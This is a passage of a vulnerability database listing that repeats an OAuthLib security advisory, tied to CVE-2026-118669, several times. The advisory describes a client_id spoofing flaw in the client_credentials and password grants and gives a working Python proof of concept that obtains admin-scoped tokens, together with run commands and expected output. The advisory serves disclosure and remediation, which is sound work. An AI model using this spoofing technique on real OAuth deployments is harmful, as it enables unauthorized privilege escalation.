including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-ansible@12-CVE-2026-118669",
"modified": "2026-10-31T08:33:13Z",
"published": "2026-10-31T08:33:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-7984-qgvg-3j9c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118669"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/920"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c951a1d09f99f14e3240973fa83c4f4287d4753d"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/releases/tag/v4.0.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "OAuthLib: Token grants can use attacker-supplied client_id for authorization after authenticating a different client",
"upstream": [
"GHSA-7984-qgvg-3j9c",
"CVE-2026-118669"
]
}
BREW-ANSIBLE@13-CVE-2026… (GHSA-7984-QGVG-3J9C)
Vulnerability from osv_homebrew – Published: 2026-10-31 10:38 – Updated: 2026-10-31 10:38 – Source websiteSummary
OAuthlib's token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied client_id from the request body.
In affected token grant flows, authenticate_client(request) sets request.client to the authenticated client object, but OAuthlib does not require request.client_id to match request.client.client_id. If the request body already contains client_id=..., OAuthlib keeps that value and passes it to validate_grant_type() and validate_scopes().
As a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client's client_id in the token request body, and cause grant and scope validation to run under that other client identity.
Affected Surface
The affected public surface is the OAuth2 token endpoint handling for:
client_credentialspassword/ Resource Owner Password Credentials
The issue is relevant to OAuthlib provider deployments where:
- the attacker has credentials for one valid lower-privilege confidential client;
- another client has broader grants or scopes;
- the application validator uses the
client_idargument passed by OAuthlib invalidate_grant_type()orvalidate_scopes(), as theRequestValidatorAPI is designed to support.
Deployments whose validators ignore the client_id argument and authorize only from request.client may not be affected.
Details
Request parses query and body parameters into request attributes, including client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397
The RequestValidator.authenticate_client() contract requires the integrator to authenticate the client and set request.client:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66
For the client_credentials grant, OAuthlib authenticates the client, verifies that request.client has a client_id, then performs grant and scope validation before normalizing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119
The problematic order is:
if not self.request_validator.authenticate_client(request):
...
elif not hasattr(request.client, 'client_id'):
...
self.validate_grant_type(request)
request.client_id = request.client_id or request.client.client_id
self.validate_scopes(request)
Because OAuthlib only fills request.client_id when it is missing, an attacker-supplied body value such as client_id=high survives even when request.client.client_id == "low".
The shared grant helper then authorizes using request.client_id, while passing the authenticated client object separately:
validate_grant_type(request.client_id, request.grant_type, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162validate_scopes(request.client_id, request.scopes, request.client, request): https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176
The same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing request.client_id from request.client.client_id:
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97
- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195
This creates an inconsistent identity state:
request.client.client_id == "low" # authenticated client
request.client_id == "high" # attacker-supplied request parameter
OAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled request.client_id as the first-class client_id argument.
Impact
An authenticated lower-privilege confidential client can obtain tokens authorized under another client's grant and scope policy if the application's validator follows the RequestValidator API and authorizes by the client_id argument.
Concrete impact can include:
- issuing access tokens with scopes not assigned to the authenticated client;
- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;
- persisting tokens under a spoofed
client_idwhile the authenticated client object is different.
This is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.
PoC
Create the following files in an empty directory.
requirements.txt:
oauthlib==3.3.1
repro.py:
import base64
import json
from oauthlib.oauth2 import (
BearerToken,
ClientCredentialsGrant,
RequestValidator,
ResourceOwnerPasswordCredentialsGrant,
TokenEndpoint,
)
class Client:
def __init__(self, client_id):
self.client_id = client_id
CLIENTS = {
"low": {
"secret": "low-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read"},
},
"high": {
"secret": "high-secret",
"grants": {"client_credentials", "password"},
"scopes": {"read", "admin"},
},
}
class DemoValidator(RequestValidator):
def __init__(self):
self.saved_tokens = []
def authenticate_client(self, request, *args, **kwargs):
authorization = request.headers.get("Authorization", "")
prefix = "Basic "
if not authorization.startswith(prefix):
return False
decoded = base64.b64decode(authorization[len(prefix):]).decode("utf-8")
client_id, secret = decoded.split(":", 1)
record = CLIENTS.get(client_id)
if record is None or record["secret"] != secret:
return False
# This is the authenticated client identity.
request.client = Client(client_id)
return True
def client_authentication_required(self, request, *args, **kwargs):
return True
def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and grant_type in record["grants"]
def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):
record = CLIENTS.get(client_id)
return record is not None and set(scopes or []) <= record["scopes"]
def get_default_scopes(self, client_id, request, *args, **kwargs):
return []
def validate_user(self, username, password, client, request, *args, **kwargs):
if username == "alice" and password == "wonderland":
request.user = username
return True
return False
def save_bearer_token(self, token, request, *args, **kwargs):
self.saved_tokens.append({
"token": dict(token),
"authenticated_client_id": request.client.client_id,
"request_client_id": request.client_id,
"scopes": list(request.scopes or []),
})
validator = DemoValidator()
token = BearerToken(validator, expires_in=3600)
endpoint = TokenEndpoint(
default_grant_type="client_credentials",
default_token_type=token,
grant_types={
"client_credentials": ClientCredentialsGrant(validator),
"password": ResourceOwnerPasswordCredentialsGrant(validator),
},
)
def low_client_headers():
value = base64.b64encode(b"low:low-secret").decode("ascii")
return {"Authorization": f"Basic {value}"}
def token_request(body):
_headers, response_body, status = endpoint.create_token_response(
"https://auth.example/token",
body=body,
headers=low_client_headers(),
)
return status, json.loads(response_body)
def assert_rejected(label, body):
status, response = token_request(body)
print(label, status, response)
if status == 200:
raise SystemExit(f"{label}: expected rejection, got success")
def assert_spoofed_success(label, body):
status, response = token_request(body)
print(label, status, response)
if status != 200:
raise SystemExit(f"{label}: expected token, got {status} {response}")
if response.get("scope") != "admin":
raise SystemExit(f"{label}: expected admin scope, got {response}")
saved = validator.saved_tokens[-1]
if saved["authenticated_client_id"] != "low":
raise SystemExit(f"{label}: authenticated client changed unexpectedly: {saved}")
if saved["request_client_id"] != "high":
raise SystemExit(f"{label}: spoofed request client_id was not preserved: {saved}")
assert_rejected(
"control client_credentials as low requesting admin",
"grant_type=client_credentials&client_id=low&scope=admin",
)
assert_spoofed_success(
"spoofed client_credentials as low with client_id=high",
"grant_type=client_credentials&client_id=high&scope=admin",
)
assert_rejected(
"control password as low requesting admin",
"grant_type=password&client_id=low&username=alice&password=wonderland&scope=admin",
)
assert_spoofed_success(
"spoofed password as low with client_id=high",
"grant_type=password&client_id=high&username=alice&password=wonderland&scope=admin",
)
print("OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED")
print(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))
Run:
python -m venv .venv
. .venv/bin/activate
python -m pip install -r requirements.txt
python repro.py
Expected result:
control client_credentials as low requesting admin 400 {'error': 'invalid_scope'}
spoofed client_credentials as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin'}
control password as low requesting admin 400 {'error': 'invalid_scope'}
spoofed password as low with client_id=high 200 {'access_token': '...', 'expires_in': 3600, 'token_type': 'Bearer', 'scope': 'admin', 'refresh_token': '...'}
OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED
The success condition is that both successful token responses are produced while the saved token state shows:
{
"authenticated_client_id": "low",
"request_client_id": "high",
"scopes": ["admin"]
}
That demonstrates that the authenticated client is low, while grant and scope authorization used the attacker-supplied client_id=high.
Suggested Remediation
After client authentication succeeds, OAuthlib should reject a token request if an explicit request client_id is present and does not match request.client.client_id.
For authenticated confidential-client flows, a safer invariant is:
if request.client is not None:
if request.client_id is not None and request.client_id != request.client.client_id:
raise InvalidClientError(...)
request.client_id = request.client.client_id
This should happen before validate_grant_type() and validate_scopes() are called.
Reporters:
- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/
- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/
- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/
- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/
- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "ansible@13",
"purl": "pkg:brew/ansible%4013"
},
"ranges": [
{
"events": [
{
"introduced": "13.7.0"
},
{
"fixed": "13.8.0_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "## Summary\n\nOAuthlib\u0027s token grant handlers can authenticate one client while authorizing the grant type and requested scopes using a different, attacker-supplied `client_id` from the request body.\n\nIn affected token grant flows, `authenticate_client(request)` sets `request.client` to the authenticated client object, but OAuthlib does not require `request.client_id` to match `request.client.client_id`. If the request body already contains `client_id=...`, OAuthlib keeps that value and passes it to `validate_grant_type()` and `validate_scopes()`.\n\nAs a result, an authenticated low-privilege confidential client can authenticate as itself, submit another client\u0027s `client_id` in the token request body, and cause grant and scope validation to run under that other client identity.\n\n## Affected Surface\n\nThe affected public surface is the OAuth2 token endpoint handling for:\n\n- `client_credentials`\n- `password` / Resource Owner Password Credentials\n\nThe issue is relevant to OAuthlib provider deployments where:\n\n- the attacker has credentials for one valid lower-privilege confidential client;\n- another client has broader grants or scopes;\n- the application validator uses the `client_id` argument passed by OAuthlib in `validate_grant_type()` or `validate_scopes()`, as the `RequestValidator` API is designed to support.\n\nDeployments whose validators ignore the `client_id` argument and authorize only from `request.client` may not be affected.\n\n## Details\n\n`Request` parses query and body parameters into request attributes, including `client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/common.py#L360-L397\n\nThe `RequestValidator.authenticate_client()` contract requires the integrator to authenticate the client and set `request.client`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/request_validator.py#L41-L66\n\nFor the `client_credentials` grant, OAuthlib authenticates the client, verifies that `request.client` has a `client_id`, then performs grant and scope validation before normalizing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/client_credentials.py#L106-L119\n\nThe problematic order is:\n\n```python\nif not self.request_validator.authenticate_client(request):\n ...\nelif not hasattr(request.client, \u0027client_id\u0027):\n ...\n\nself.validate_grant_type(request)\n\nrequest.client_id = request.client_id or request.client.client_id\nself.validate_scopes(request)\n```\n\nBecause OAuthlib only fills `request.client_id` when it is missing, an attacker-supplied body value such as `client_id=high` survives even when `request.client.client_id == \"low\"`.\n\nThe shared grant helper then authorizes using `request.client_id`, while passing the authenticated client object separately:\n\n- `validate_grant_type(request.client_id, request.grant_type, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L152-L162\n- `validate_scopes(request.client_id, request.scopes, request.client, request)`: https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/base.py#L164-L176\n\nThe same identity split exists in the Resource Owner Password Credentials flow. After client authentication and user validation, OAuthlib validates the grant and scopes before replacing a missing `request.client_id` from `request.client.client_id`:\n\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L87-L97\n- https://github.com/oauthlib/oauthlib/blob/b3f9edffed6b370e3eb92721cea0da22ec7e18b9/oauthlib/oauth2/rfc6749/grant_types/resource_owner_password_credentials.py#L178-L195\n\nThis creates an inconsistent identity state:\n\n```text\nrequest.client.client_id == \"low\" # authenticated client\nrequest.client_id == \"high\" # attacker-supplied request parameter\n```\n\nOAuthlib then calls application authorization hooks with both values, but uses the attacker-controlled `request.client_id` as the first-class `client_id` argument.\n\n## Impact\n\nAn authenticated lower-privilege confidential client can obtain tokens authorized under another client\u0027s grant and scope policy if the application\u0027s validator follows the `RequestValidator` API and authorizes by the `client_id` argument.\n\nConcrete impact can include:\n\n- issuing access tokens with scopes not assigned to the authenticated client;\n- allowing a low-privilege client to use a grant type reserved for a higher-privilege client;\n- persisting tokens under a spoofed `client_id` while the authenticated client object is different.\n\nThis is a token authorization bypass, not an unauthenticated attack. The attacker needs valid credentials for one client.\n\n## PoC\n\nCreate the following files in an empty directory.\n\n`requirements.txt`:\n\n```text\noauthlib==3.3.1\n```\n\n`repro.py`:\n\n```python\nimport base64\nimport json\n\nfrom oauthlib.oauth2 import (\n BearerToken,\n ClientCredentialsGrant,\n RequestValidator,\n ResourceOwnerPasswordCredentialsGrant,\n TokenEndpoint,\n)\n\n\nclass Client:\n def __init__(self, client_id):\n self.client_id = client_id\n\n\nCLIENTS = {\n \"low\": {\n \"secret\": \"low-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\"},\n },\n \"high\": {\n \"secret\": \"high-secret\",\n \"grants\": {\"client_credentials\", \"password\"},\n \"scopes\": {\"read\", \"admin\"},\n },\n}\n\n\nclass DemoValidator(RequestValidator):\n def __init__(self):\n self.saved_tokens = []\n\n def authenticate_client(self, request, *args, **kwargs):\n authorization = request.headers.get(\"Authorization\", \"\")\n prefix = \"Basic \"\n if not authorization.startswith(prefix):\n return False\n\n decoded = base64.b64decode(authorization[len(prefix):]).decode(\"utf-8\")\n client_id, secret = decoded.split(\":\", 1)\n record = CLIENTS.get(client_id)\n if record is None or record[\"secret\"] != secret:\n return False\n\n # This is the authenticated client identity.\n request.client = Client(client_id)\n return True\n\n def client_authentication_required(self, request, *args, **kwargs):\n return True\n\n def validate_grant_type(self, client_id, grant_type, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and grant_type in record[\"grants\"]\n\n def validate_scopes(self, client_id, scopes, client, request, *args, **kwargs):\n record = CLIENTS.get(client_id)\n return record is not None and set(scopes or []) \u003c= record[\"scopes\"]\n\n def get_default_scopes(self, client_id, request, *args, **kwargs):\n return []\n\n def validate_user(self, username, password, client, request, *args, **kwargs):\n if username == \"alice\" and password == \"wonderland\":\n request.user = username\n return True\n return False\n\n def save_bearer_token(self, token, request, *args, **kwargs):\n self.saved_tokens.append({\n \"token\": dict(token),\n \"authenticated_client_id\": request.client.client_id,\n \"request_client_id\": request.client_id,\n \"scopes\": list(request.scopes or []),\n })\n\n\nvalidator = DemoValidator()\ntoken = BearerToken(validator, expires_in=3600)\nendpoint = TokenEndpoint(\n default_grant_type=\"client_credentials\",\n default_token_type=token,\n grant_types={\n \"client_credentials\": ClientCredentialsGrant(validator),\n \"password\": ResourceOwnerPasswordCredentialsGrant(validator),\n },\n)\n\n\ndef low_client_headers():\n value = base64.b64encode(b\"low:low-secret\").decode(\"ascii\")\n return {\"Authorization\": f\"Basic {value}\"}\n\n\ndef token_request(body):\n _headers, response_body, status = endpoint.create_token_response(\n \"https://auth.example/token\",\n body=body,\n headers=low_client_headers(),\n )\n return status, json.loads(response_body)\n\n\ndef assert_rejected(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status == 200:\n raise SystemExit(f\"{label}: expected rejection, got success\")\n\n\ndef assert_spoofed_success(label, body):\n status, response = token_request(body)\n print(label, status, response)\n if status != 200:\n raise SystemExit(f\"{label}: expected token, got {status} {response}\")\n if response.get(\"scope\") != \"admin\":\n raise SystemExit(f\"{label}: expected admin scope, got {response}\")\n\n saved = validator.saved_tokens[-1]\n if saved[\"authenticated_client_id\"] != \"low\":\n raise SystemExit(f\"{label}: authenticated client changed unexpectedly: {saved}\")\n if saved[\"request_client_id\"] != \"high\":\n raise SystemExit(f\"{label}: spoofed request client_id was not preserved: {saved}\")\n\n\nassert_rejected(\n \"control client_credentials as low requesting admin\",\n \"grant_type=client_credentials\u0026client_id=low\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed client_credentials as low with client_id=high\",\n \"grant_type=client_credentials\u0026client_id=high\u0026scope=admin\",\n)\n\nassert_rejected(\n \"control password as low requesting admin\",\n \"grant_type=password\u0026client_id=low\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\nassert_spoofed_success(\n \"spoofed password as low with client_id=high\",\n \"grant_type=password\u0026client_id=high\u0026username=alice\u0026password=wonderland\u0026scope=admin\",\n)\n\nprint(\"OAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\")\nprint(json.dumps(validator.saved_tokens, indent=2, sort_keys=True))\n```\n\nRun:\n\n```bash\npython -m venv .venv\n. .venv/bin/activate\npython -m pip install -r requirements.txt\npython repro.py\n```\n\nExpected result:\n\n```text\ncontrol client_credentials as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed client_credentials as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027}\ncontrol password as low requesting admin 400 {\u0027error\u0027: \u0027invalid_scope\u0027}\nspoofed password as low with client_id=high 200 {\u0027access_token\u0027: \u0027...\u0027, \u0027expires_in\u0027: 3600, \u0027token_type\u0027: \u0027Bearer\u0027, \u0027scope\u0027: \u0027admin\u0027, \u0027refresh_token\u0027: \u0027...\u0027}\nOAUTHLIB_CLIENT_ID_SPOOFING_CONFIRMED\n```\n\nThe success condition is that both successful token responses are produced while the saved token state shows:\n\n```json\n{\n \"authenticated_client_id\": \"low\",\n \"request_client_id\": \"high\",\n \"scopes\": [\"admin\"]\n}\n```\n\nThat demonstrates that the authenticated client is `low`, while grant and scope authorization used the attacker-supplied `client_id=high`.\n\n## Suggested Remediation\n\nAfter client authentication succeeds, OAuthlib should reject a token request if an explicit request `client_id` is present and does not match `request.client.client_id`.\n\nFor authenticated confidential-client flows, a safer invariant is:\n\n```python\nif request.client is not None:\n if request.client_id is not None and request.client_id != request.client.client_id:\n raise InvalidClientError(...)\n request.client_id = request.client.client_id\n```\n\nThis should happen before `validate_grant_type()` and `validate_scopes()` are called.\n\nReporters:\n\n- liyi.zhou@sydney.edu.au (Liyi), https://lzhou1110.github.io/\n- ziyue0530@gmail.com (Ziyue), https://zyy0530.github.io/\n- cshe0476@uni.sydney.edu.au (Strick), https://str1ckl4nd.github.io/\n- chng0012@uni.sydney.edu.au (Maurice), http://maurice.busystar.org/\n- cyu210608@gmail.com (Chenchen), https://7thparkk.github.io/",
"id": "BREW-ansible@13-CVE-2026-118669",
"modified": "2026-10-31T10:38:15Z",
"published": "2026-10-31T10:38:15Z",
"references": [
{
"type": "WEB",
